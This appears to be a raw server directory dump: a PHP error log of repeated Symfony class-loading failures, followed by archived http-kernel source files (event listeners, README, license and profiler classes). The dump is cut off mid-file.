"Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/LocaleAwareListener.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/LocaleAwareListener.php on line 26 [25-Nov-2025 03:02:03 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/RouterListener.php:42 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/RouterListener.php on line 42 [25-Nov-2025 03:02:39 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/CacheAttributeListener.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/CacheAttributeListener.php on line 28 [25-Nov-2025 03:02:41 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/CacheAttributeListener.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/CacheAttributeListener.php on line 28 [25-Nov-2025 03:25:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\EventListener\AbstractSessionListener" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/SessionListener.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/SessionListener.php on line 23 [25-Nov-2025 03:25:44 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/LocaleListener.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/LocaleListener.php on line 30 [25-Nov-2025 03:27:00 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DisallowRobotsIndexingListener.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DisallowRobotsIndexingListener.php on line 23 [25-Nov-2025 03:29:05 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\HttpKernel\EventListener\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/StreamedResponseListener.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/StreamedResponseListener.php on line 19 [25-Nov-2025 03:29:22 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DumpListener.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DumpListener.php on line 26 [25-Nov-2025 04:33:03 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/FragmentListener.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/FragmentListener.php on line 34 [25-Nov-2025 04:34:34 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ProfilerListener.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ProfilerListener.php on line 33 [25-Nov-2025 05:27:59 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/AbstractSessionListener.php:41 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/AbstractSessionListener.php on line 41 [25-Nov-2025 05:29:12 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/SurrogateListener.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/SurrogateListener.php on line 27 [25-Nov-2025 23:10:12 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ErrorListener.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ErrorListener.php on line 33 [26-Nov-2025 01:20:14 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ProfilerListener.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ProfilerListener.php on line 33 [26-Nov-2025 01:20:21 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/RouterListener.php:42 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/RouterListener.php on line 42 [26-Nov-2025 01:21:23 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ResponseListener.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ResponseListener.php on line 25 [26-Nov-2025 01:29:34 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/SurrogateListener.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/SurrogateListener.php on line 27 [26-Nov-2025 01:31:22 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/LocaleAwareListener.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/LocaleAwareListener.php on line 26 [26-Nov-2025 01:34:06 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DisallowRobotsIndexingListener.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DisallowRobotsIndexingListener.php on line 23 [26-Nov-2025 01:35:49 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DumpListener.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DumpListener.php on line 26 [26-Nov-2025 01:37:59 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ValidateRequestListener.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/ValidateRequestListener.php on line 25 [26-Nov-2025 01:38:52 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/CacheAttributeListener.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/CacheAttributeListener.php on line 28 [26-Nov-2025 01:53:08 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/LocaleListener.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/LocaleListener.php on line 30 [26-Nov-2025 01:54:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/AbstractSessionListener.php:41 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/AbstractSessionListener.php on line 41 [26-Nov-2025 03:32:59 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/FragmentListener.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/FragmentListener.php on line 34 [26-Nov-2025 03:33:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\EventListener\AbstractSessionListener" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/SessionListener.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/SessionListener.php on line 23 [26-Nov-2025 03:34:44 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/AddRequestFormatsListener.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/AddRequestFormatsListener.php on line 25 [26-Nov-2025 03:43:20 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DebugHandlersListener.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/EventListener/DebugHandlersListener.php on line 31 http-kernel/EventListener/LocaleAwareListener.php000064400000004621151113511570016171 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpKernel\Event\FinishRequestEvent; use Symfony\Component\HttpKernel\Event\RequestEvent; use Symfony\Component\HttpKernel\KernelEvents; use Symfony\Contracts\Translation\LocaleAwareInterface; /** * Pass the current locale to the provided services. * * @author Pierre Bobiet */ class LocaleAwareListener implements EventSubscriberInterface { private iterable $localeAwareServices; private RequestStack $requestStack; /** * @param iterable $localeAwareServices */ public function __construct(iterable $localeAwareServices, RequestStack $requestStack) { $this->localeAwareServices = $localeAwareServices; $this->requestStack = $requestStack; } public function onKernelRequest(RequestEvent $event): void { $this->setLocale($event->getRequest()->getLocale(), $event->getRequest()->getDefaultLocale()); } public function onKernelFinishRequest(FinishRequestEvent $event): void { if (null === $parentRequest = $this->requestStack->getParentRequest()) { foreach ($this->localeAwareServices as $service) { $service->setLocale($event->getRequest()->getDefaultLocale()); } return; } $this->setLocale($parentRequest->getLocale(), $parentRequest->getDefaultLocale()); } public static function getSubscribedEvents(): array { return [ // must be registered after the Locale listener KernelEvents::REQUEST => [['onKernelRequest', 15]], KernelEvents::FINISH_REQUEST => [['onKernelFinishRequest', -15]], ]; } private function setLocale(string $locale, string $defaultLocale): void { foreach ($this->localeAwareServices as $service) { try { $service->setLocale($locale); } catch (\InvalidArgumentException) { $service->setLocale($defaultLocale); } } } } http-kernel/EventListener/SessionListener.php000064400000001365151113511570015437 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\HttpFoundation\Session\SessionInterface; /** * Sets the session in the request. * * @author Fabien Potencier * * @final */ class SessionListener extends AbstractSessionListener { protected function getSession(): ?SessionInterface { if ($this->container->has('session_factory')) { return $this->container->get('session_factory')->createSession(); } return null; } } http-kernel/EventListener/SurrogateListener.php000064400000003427151113511570015770 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\HttpCache\HttpCache; use Symfony\Component\HttpKernel\HttpCache\SurrogateInterface; use Symfony\Component\HttpKernel\KernelEvents; /** * SurrogateListener adds a Surrogate-Control HTTP header when the Response needs to be parsed for Surrogates. * * @author Fabien Potencier * * @final */ class SurrogateListener implements EventSubscriberInterface { private ?SurrogateInterface $surrogate; public function __construct(SurrogateInterface $surrogate = null) { $this->surrogate = $surrogate; } /** * Filters the Response. */ public function onKernelResponse(ResponseEvent $event): void { if (!$event->isMainRequest()) { return; } $kernel = $event->getKernel(); $surrogate = $this->surrogate; if ($kernel instanceof HttpCache) { $surrogate = $kernel->getSurrogate(); if (null !== $this->surrogate && $this->surrogate->getName() !== $surrogate->getName()) { $surrogate = $this->surrogate; } } if (null === $surrogate) { return; } $surrogate->addSurrogateControl($event->getResponse()); } public static function getSubscribedEvents(): array { return [ KernelEvents::RESPONSE => 'onKernelResponse', ]; } } http-kernel/EventListener/FragmentListener.php000064400000005573151113511570015564 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Event\RequestEvent; use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException; use Symfony\Component\HttpKernel\KernelEvents; use Symfony\Component\HttpKernel\UriSigner; /** * Handles content fragments represented by special URIs. * * All URL paths starting with /_fragment are handled as * content fragments by this listener. * * Throws an AccessDeniedHttpException exception if the request * is not signed or if it is not an internal sub-request. * * @author Fabien Potencier * * @final */ class FragmentListener implements EventSubscriberInterface { private UriSigner $signer; private string $fragmentPath; /** * @param string $fragmentPath The path that triggers this listener */ public function __construct(UriSigner $signer, string $fragmentPath = '/_fragment') { $this->signer = $signer; $this->fragmentPath = $fragmentPath; } /** * Fixes request attributes when the path is '/_fragment'. * * @throws AccessDeniedHttpException if the request does not come from a trusted IP */ public function onKernelRequest(RequestEvent $event): void { $request = $event->getRequest(); if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) { return; } if ($request->attributes->has('_controller')) { // Is a sub-request: no need to parse _path but it should still be removed from query parameters as below. $request->query->remove('_path'); return; } if ($event->isMainRequest()) { $this->validateRequest($request); } parse_str($request->query->get('_path', ''), $attributes); $request->attributes->add($attributes); $request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes)); $request->query->remove('_path'); } protected function validateRequest(Request $request): void { // is the Request safe? if (!$request->isMethodSafe()) { throw new AccessDeniedHttpException(); } // is the Request signed? if ($this->signer->checkRequest($request)) { return; } throw new AccessDeniedHttpException(); } public static function getSubscribedEvents(): array { return [ KernelEvents::REQUEST => [['onKernelRequest', 48]], ]; } } http-kernel/EventListener/CacheAttributeListener.php000064400000015400151113511570016676 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\ExpressionLanguage\ExpressionLanguage; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Attribute\Cache; use Symfony\Component\HttpKernel\Event\ControllerArgumentsEvent; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\KernelEvents; /** * Handles HTTP cache headers configured via the Cache attribute. * * @author Fabien Potencier */ class CacheAttributeListener implements EventSubscriberInterface { /** * @var \SplObjectStorage */ private \SplObjectStorage $lastModified; /** * @var \SplObjectStorage */ private \SplObjectStorage $etags; public function __construct( private ?ExpressionLanguage $expressionLanguage = null, ) { $this->lastModified = new \SplObjectStorage(); $this->etags = new \SplObjectStorage(); } /** * Handles HTTP validation headers. * * @return void */ public function onKernelControllerArguments(ControllerArgumentsEvent $event) { $request = $event->getRequest(); if (!\is_array($attributes = $request->attributes->get('_cache') ?? $event->getAttributes()[Cache::class] ?? null)) { return; } $request->attributes->set('_cache', $attributes); $response = null; $lastModified = null; $etag = null; /** @var Cache[] $attributes */ foreach ($attributes as $cache) { if (null !== $cache->lastModified) { $lastModified = $this->getExpressionLanguage()->evaluate($cache->lastModified, array_merge($request->attributes->all(), $event->getNamedArguments())); ($response ??= new Response())->setLastModified($lastModified); } if (null !== $cache->etag) { $etag = hash('sha256', $this->getExpressionLanguage()->evaluate($cache->etag, array_merge($request->attributes->all(), $event->getNamedArguments()))); ($response ??= new Response())->setEtag($etag); } } if ($response?->isNotModified($request)) { $event->setController(static fn () => $response); $event->stopPropagation(); return; } if (null !== $etag) { $this->etags[$request] = $etag; } if (null !== $lastModified) { $this->lastModified[$request] = $lastModified; } } /** * Modifies the response to apply HTTP cache headers when needed. * * @return void */ public function onKernelResponse(ResponseEvent $event) { $request = $event->getRequest(); /** @var Cache[] $attributes */ if (!\is_array($attributes = $request->attributes->get('_cache'))) { return; } $response = $event->getResponse(); // http://tools.ietf.org/html/draft-ietf-httpbis-p4-conditional-12#section-3.1 if (!\in_array($response->getStatusCode(), [200, 203, 300, 301, 302, 304, 404, 410])) { unset($this->lastModified[$request]); unset($this->etags[$request]); return; } if (isset($this->lastModified[$request]) && !$response->headers->has('Last-Modified')) { $response->setLastModified($this->lastModified[$request]); } if (isset($this->etags[$request]) && !$response->headers->has('Etag')) { $response->setEtag($this->etags[$request]); } unset($this->lastModified[$request]); unset($this->etags[$request]); $hasVary = $response->headers->has('Vary'); foreach (array_reverse($attributes) as $cache) { if (null !== $cache->smaxage && !$response->headers->hasCacheControlDirective('s-maxage')) { $response->setSharedMaxAge($this->toSeconds($cache->smaxage)); } if ($cache->mustRevalidate) { $response->headers->addCacheControlDirective('must-revalidate'); } if (null !== $cache->maxage && !$response->headers->hasCacheControlDirective('max-age')) { $response->setMaxAge($this->toSeconds($cache->maxage)); } if (null !== $cache->maxStale && !$response->headers->hasCacheControlDirective('max-stale')) { $response->headers->addCacheControlDirective('max-stale', $this->toSeconds($cache->maxStale)); } if (null !== $cache->staleWhileRevalidate && !$response->headers->hasCacheControlDirective('stale-while-revalidate')) { $response->headers->addCacheControlDirective('stale-while-revalidate', $this->toSeconds($cache->staleWhileRevalidate)); } if (null !== $cache->staleIfError && !$response->headers->hasCacheControlDirective('stale-if-error')) { $response->headers->addCacheControlDirective('stale-if-error', $this->toSeconds($cache->staleIfError)); } if (null !== $cache->expires && !$response->headers->has('Expires')) { $response->setExpires(new \DateTimeImmutable('@'.strtotime($cache->expires, time()))); } if (!$hasVary && $cache->vary) { $response->setVary($cache->vary, false); } } foreach ($attributes as $cache) { if (true === $cache->public) { $response->setPublic(); } if (false === $cache->public) { $response->setPrivate(); } } } public static function getSubscribedEvents(): array { return [ KernelEvents::CONTROLLER_ARGUMENTS => ['onKernelControllerArguments', 10], KernelEvents::RESPONSE => ['onKernelResponse', -10], ]; } private function getExpressionLanguage(): ExpressionLanguage { return $this->expressionLanguage ??= class_exists(ExpressionLanguage::class) ? new ExpressionLanguage() : throw new \LogicException('Unable to use expressions as the Symfony ExpressionLanguage component is not installed. Try running "composer require symfony/expression-language".'); } private function toSeconds(int|string $time): int { if (!is_numeric($time)) { $now = time(); $time = strtotime($time, $now) - $now; } return $time; } } http-kernel/EventListener/DebugHandlersListener.php000064400000007526151113511570016530 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\Console\ConsoleEvents; use Symfony\Component\Console\Event\ConsoleEvent; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\ErrorHandler\ErrorHandler; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpKernel\Event\KernelEvent; use Symfony\Component\HttpKernel\KernelEvents; /** * Sets an exception handler. * * @author Nicolas Grekas * * @final * * @internal */ class DebugHandlersListener implements EventSubscriberInterface { private string|object|null $earlyHandler; private ?\Closure $exceptionHandler; private bool $firstCall = true; private bool $hasTerminatedWithException = false; /** * @param callable|null $exceptionHandler A handler that must support \Throwable instances that will be called on Exception */ public function __construct(callable $exceptionHandler = null) { $handler = set_exception_handler('is_int'); $this->earlyHandler = \is_array($handler) ? $handler[0] : null; restore_exception_handler(); $this->exceptionHandler = null === $exceptionHandler ? null : $exceptionHandler(...); } /** * Configures the error handler. */ public function configure(object $event = null): void { if ($event instanceof ConsoleEvent && !\in_array(\PHP_SAPI, ['cli', 'phpdbg'], true)) { return; } if (!$event instanceof KernelEvent ? !$this->firstCall : !$event->isMainRequest()) { return; } $this->firstCall = $this->hasTerminatedWithException = false; if (!$this->exceptionHandler) { if ($event instanceof KernelEvent) { if (method_exists($kernel = $event->getKernel(), 'terminateWithException')) { $request = $event->getRequest(); $hasRun = &$this->hasTerminatedWithException; $this->exceptionHandler = static function (\Throwable $e) use ($kernel, $request, &$hasRun) { if ($hasRun) { throw $e; } $hasRun = true; $kernel->terminateWithException($e, $request); }; } } elseif ($event instanceof ConsoleEvent && $app = $event->getCommand()->getApplication()) { $output = $event->getOutput(); if ($output instanceof ConsoleOutputInterface) { $output = $output->getErrorOutput(); } $this->exceptionHandler = static function (\Throwable $e) use ($app, $output) { $app->renderThrowable($e, $output); }; } } if ($this->exceptionHandler) { $handler = set_exception_handler('is_int'); $handler = \is_array($handler) ? $handler[0] : null; restore_exception_handler(); if (!$handler instanceof ErrorHandler) { $handler = $this->earlyHandler; } if ($handler instanceof ErrorHandler) { $handler->setExceptionHandler($this->exceptionHandler); } $this->exceptionHandler = null; } } public static function getSubscribedEvents(): array { $events = [KernelEvents::REQUEST => ['configure', 2048]]; if (\defined('Symfony\Component\Console\ConsoleEvents::COMMAND')) { $events[ConsoleEvents::COMMAND] = ['configure', 2048]; } return $events; } } http-kernel/EventListener/StreamedResponseListener.php000064400000002561151113511570017276 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\StreamedResponse; use Symfony\Component\HttpKernel\Event\ResponseEvent; use Symfony\Component\HttpKernel\KernelEvents; trigger_deprecation('symfony/http-kernel', '6.1', 'The "%s" class is deprecated.', StreamedResponseListener::class); /** * StreamedResponseListener is responsible for sending the Response * to the client. * * @author Fabien Potencier * * @final * * @deprecated since Symfony 6.1 */ class StreamedResponseListener implements EventSubscriberInterface { /** * Filters the Response. */ public function onKernelResponse(ResponseEvent $event): void { if (!$event->isMainRequest()) { return; } $response = $event->getResponse(); if ($response instanceof StreamedResponse) { $response->send(); } } public static function getSubscribedEvents(): array { return [ KernelEvents::RESPONSE => ['onKernelResponse', -1024], ]; } } http-kernel/EventListener/AddRequestFormatsListener.php000064400000002260151113511570017404 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpKernel\Event\RequestEvent; use Symfony\Component\HttpKernel\KernelEvents; /** * Adds configured formats to each request. * * @author Gildas Quemener * * @final */ class AddRequestFormatsListener implements EventSubscriberInterface { private array $formats; public function __construct(array $formats) { $this->formats = $formats; } /** * Adds request formats. */ public function onKernelRequest(RequestEvent $event): void { $request = $event->getRequest(); foreach ($this->formats as $format => $mimeTypes) { $request->setFormat($format, $mimeTypes); } } public static function getSubscribedEvents(): array { return [KernelEvents::REQUEST => ['onKernelRequest', 100]]; } } http-kernel/README.md000064400000001244151113511570010261 0ustar00HttpKernel Component ==================== The HttpKernel component provides a structured process for converting a Request into a Response by making use of the EventDispatcher component. It's flexible enough to create full-stack frameworks, micro-frameworks or advanced CMS systems like Drupal. Resources --------- * [Documentation](https://symfony.com/doc/current/components/http_kernel.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) http-kernel/LICENSE000064400000002054151113511570010007 0ustar00Copyright (c) 2004-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. http-kernel/Profiler/ProfilerStorageInterface.php000064400000002735151113511570016233 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Profiler; /** * ProfilerStorageInterface. * * This interface exists for historical reasons. The only supported * implementation is FileProfilerStorage. * * As the profiler must only be used on non-production servers, the file storage * is more than enough and no other implementations will ever be supported. * * @internal * * @author Fabien Potencier */ interface ProfilerStorageInterface { /** * Finds profiler tokens for the given criteria. * * @param int|null $limit The maximum number of tokens to return * @param int|null $start The start date to search from * @param int|null $end The end date to search to */ public function find(?string $ip, ?string $url, ?int $limit, ?string $method, int $start = null, int $end = null): array; /** * Reads data associated with the given token. * * The method returns false if the token does not exist in the storage. */ public function read(string $token): ?Profile; /** * Saves a Profile. */ public function write(Profile $profile): bool; /** * Purges all data from the database. * * @return void */ public function purge(); } http-kernel/Profiler/Profile.php000064400000012024151113511570012673 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Profiler; use Symfony\Component\HttpKernel\DataCollector\DataCollectorInterface; /** * Profile. * * @author Fabien Potencier */ class Profile { private string $token; /** * @var DataCollectorInterface[] */ private array $collectors = []; private ?string $ip = null; private ?string $method = null; private ?string $url = null; private ?int $time = null; private ?int $statusCode = null; private ?self $parent = null; /** * @var Profile[] */ private array $children = []; public function __construct(string $token) { $this->token = $token; } /** * @return void */ public function setToken(string $token) { $this->token = $token; } /** * Gets the token. */ public function getToken(): string { return $this->token; } /** * Sets the parent token. * * @return void */ public function setParent(self $parent) { $this->parent = $parent; } /** * Returns the parent profile. */ public function getParent(): ?self { return $this->parent; } /** * Returns the parent token. */ public function getParentToken(): ?string { return $this->parent?->getToken(); } /** * Returns the IP. */ public function getIp(): ?string { return $this->ip; } /** * @return void */ public function setIp(?string $ip) { $this->ip = $ip; } /** * Returns the request method. */ public function getMethod(): ?string { return $this->method; } /** * @return void */ public function setMethod(string $method) { $this->method = $method; } /** * Returns the URL. */ public function getUrl(): ?string { return $this->url; } /** * @return void */ public function setUrl(?string $url) { $this->url = $url; } public function getTime(): int { return $this->time ?? 0; } /** * @return void */ public function setTime(int $time) { $this->time = $time; } /** * @return void */ public function setStatusCode(int $statusCode) { $this->statusCode = $statusCode; } public function getStatusCode(): ?int { return $this->statusCode; } /** * Finds children profilers. * * @return self[] */ public function getChildren(): array { return $this->children; } /** * Sets children profiler. * * @param Profile[] $children * * @return void */ public function setChildren(array $children) { $this->children = []; foreach ($children as $child) { $this->addChild($child); } } /** * Adds the child token. * * @return void */ public function addChild(self $child) { $this->children[] = $child; $child->setParent($this); } public function getChildByToken(string $token): ?self { foreach ($this->children as $child) { if ($token === $child->getToken()) { return $child; } } return null; } /** * Gets a Collector by name. * * @throws \InvalidArgumentException if the collector does not exist */ public function getCollector(string $name): DataCollectorInterface { if (!isset($this->collectors[$name])) { throw new \InvalidArgumentException(sprintf('Collector "%s" does not exist.', $name)); } return $this->collectors[$name]; } /** * Gets the Collectors associated with this profile. * * @return DataCollectorInterface[] */ public function getCollectors(): array { return $this->collectors; } /** * Sets the Collectors associated with this profile. * * @param DataCollectorInterface[] $collectors * * @return void */ public function setCollectors(array $collectors) { $this->collectors = []; foreach ($collectors as $collector) { $this->addCollector($collector); } } /** * Adds a Collector. * * @return void */ public function addCollector(DataCollectorInterface $collector) { $this->collectors[$collector->getName()] = $collector; } public function hasCollector(string $name): bool { return isset($this->collectors[$name]); } public function __sleep(): array { return ['token', 'parent', 'children', 'collectors', 'ip', 'method', 'url', 'time', 'statusCode']; } } http-kernel/Profiler/Profiler.php000064400000015107151113511570013062 0ustar00 * * For the full copyright and 